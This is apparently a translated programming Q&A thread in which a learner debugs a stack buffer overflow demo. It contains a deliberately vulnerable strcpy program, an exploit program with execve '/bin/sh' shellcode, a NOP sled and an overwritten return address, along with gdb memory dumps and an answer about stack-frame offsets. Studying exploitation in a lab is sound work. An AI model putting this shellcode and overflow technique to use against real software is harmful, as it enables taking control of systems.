Шелл-код переполнения буфера перезаписывает неправильный адрес

NOTE: This is a modified version of my original post here but poses a slightly different question.

Я просматриваю этот видео при переполнении буфера, но у меня возникли проблемы с воспроизведением демонстрации. Проблема, похоже, заключается в том, что когда я выполняю переполнение, предполагаемый адрес возврата не перезаписывается.

Насколько я понимаю, предполагаемый обратный адрес должен быть 0x7fffffffe060.

This memory address format differs from what I've seen in demos etc. maybe something wrong here?

Команда gcc - gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=4 -o Output Output.c

Я вижу, как шелл-код вводится в стек, но это на одну «строку» или адрес памяти ниже того места, где я ожидал.

Ожидание с моим шелл-кодом:

0x7fffffffe060: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969

Фактический результат:

0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969

Почему целевой обратный адрес 0x7fffffffe060 не перезаписывается в пользу 0x7fffffffe070?

ExploitMe.c

#include<stdio.h>
#include<string.h>

main(int argc, char **argv)
{
    char buffer[80];
    strcpy(buffer, argv[1]);
    return 1;
}

HackYou.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80"
;

char retaddr[] = "\x60\xe0\xff\xff\xff\x7f";

#define NOP 0x90
main()
{
    char buffer[96]; 
    memset(buffer, NOP, 96);
    memcpy(buffer, "EGG = ", 4);
    memcpy(buffer+4, shellcode, 24);
    memcpy(buffer+88, retaddr, 4);
    memcpy(buffer+92, "\x00\x00\x00\x00", 4);
    putenv(buffer);
    system("/bin/sh");
    return 0;
}

(gdb) run $EGG

(gdb) x/24xw $rsp
0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x00000001  0x00000000  0xf7e939b5  0x00007fff
0x7fffffffe080: 0x00000000  0x00000000  0x555551bd  0x00005555
0x7fffffffe090: 0xf7fe42a0  0x00007fff  0x00000000  0x00000000
0x7fffffffe0a0: 0x55555170  0x00005555  0x55555050  0x00005555
0x7fffffffe0b0: 0xffffe1a0  0x00007fff  0x00000000  0x00000000

(gdb) c
Continuing.

(gdb) x/24xw argv[1]
0x7fffffffe4c4: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969
0x7fffffffe4d4: 0xe1895352  0x80cd0bb0  0x90909090  0x90909090
0x7fffffffe4e4: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe4f4: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe504: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe514: 0x90909090  0xffffe060  0x5f534c00  0x4f4c4f43

(gdb) x/34xw $rsp
0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969
0x7fffffffe080: 0xe1895352  0x80cd0bb0  0x90909090  0x90909090
0x7fffffffe090: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0a0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0b0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0c0: 0x90909090  0xffffe060  0xf7e14b00  0x00007fff
0x7fffffffe0d0: 0x00000000  0x00000000  0xffffe1a8  0x00007fff
0x7fffffffe0e0: 0x00040000  0x00000002  

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e14b0d in __libc_start_main (main=0x555555555135 <main>, argc=2, argv=0x7fffffffe1a8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe198) at ../csu/libc-start.c:310
310 ../csu/libc-start.c: No such file or directory.

О да. Когда неопределенное поведение не делает того, что вы хотели ...

Tim Randall 25.10.2018 17:10

@TimRandall, можешь объяснить, что ты имеешь в виду? Или ссылку на соответствующую статью / документы?

3therk1ll 25.10.2018 17:12

Ну а вы не пытаетесь намеренно вызвать переполнение буфера? Кажется, это и есть цель упражнения, она упоминается в вашем вопросе, и, насколько я понимаю, чтение или запись за пределами массива вызовет неопределенное поведение. Я думаю, что точный результат, который вы видите, будет будет очень специфичным для реализации.

Tim Randall 25.10.2018 17:15

Да, я. Идея упражнения состоит в том, чтобы переполнить буфер пользовательским шелл-кодом и установить адрес возврата на адрес вновь введенного шелл-кода.

3therk1ll 25.10.2018 17:18
Стоит ли изучать PHP в 2026-2027 годах?
Стоит ли изучать PHP в 2026-2027 годах?
Привет всем, сегодня я хочу высказать свои соображения по поводу вопроса, который я уже много раз получал в своем сообществе: "Стоит ли изучать PHP в...
Поведение ключевого слова "this" в стрелочной функции в сравнении с нормальной функцией
Поведение ключевого слова "this" в стрелочной функции в сравнении с нормальной функцией
В JavaScript одним из самых запутанных понятий является поведение ключевого слова "this" в стрелочной и обычной функциях.
Приемы CSS-макетирования - floats и Flexbox
Приемы CSS-макетирования - floats и Flexbox
Здравствуйте, друзья-студенты! Готовы совершенствовать свои навыки веб-дизайна? Сегодня в нашем путешествии мы рассмотрим приемы CSS-верстки - в...
Тестирование функциональных ngrx-эффектов в Angular 16 с помощью Jest
В системе управления состояниями ngrx, совместимой с Angular 16, появились функциональные эффекты. Это здорово и делает код определенно легче для...
Концепция локализации и ее применение в приложениях React ⚡️
Концепция локализации и ее применение в приложениях React ⚡️
Локализация - это процесс адаптации приложения к различным языкам и культурным требованиям. Это позволяет пользователям получить опыт, соответствующий...
Пользовательский скаляр GraphQL
Пользовательский скаляр GraphQL
Листовые узлы системы типов GraphQL называются скалярами. Достигнув скалярного типа, невозможно спуститься дальше по иерархии типов. Скалярный тип...
1
4
390
1

Ответы 1

Я не смотрел ваше видео, но используемый вами подход во многом зависит от версий компиляторов, параметров компиляции и даже версий операционной системы. Если вы упустили свою цель, это вполне может быть из-за параметра отладки (-g). Параметр отладки обычно заставляет компилятор устанавливать надежные кадры стека, чтобы отладчик мог надежно перемещаться по стеку вызовов.

В вашем примере вы ожидаете, что адрес возврата составляет 92 байта от адреса буфера или 3 адреса стека после конца буфера. Таким образом, если вы дизассемблируете ExploitMe.c: main (), как будет выглядеть пролог? Сколько регистров выталкивается и что вычитается из rsp?

В (ubuntu 18, gcc 7.3) я получаю 1 нажатие и вычитаю 96, поэтому адрес возврата находится со смещением 104 от буфера; сохраненный указатель стека находится по смещению 96. Когда я заменил -ggdb на -O, я получил адрес возврата со смещением 88 [таким образом, 92 был бы средним или наиболее значимым байтом], и не сохранил указатель стека.

Как отметили комментаторы, если вы собираетесь использовать недокументированное поведение, вы должны уметь адаптироваться.

Другие вопросы по теме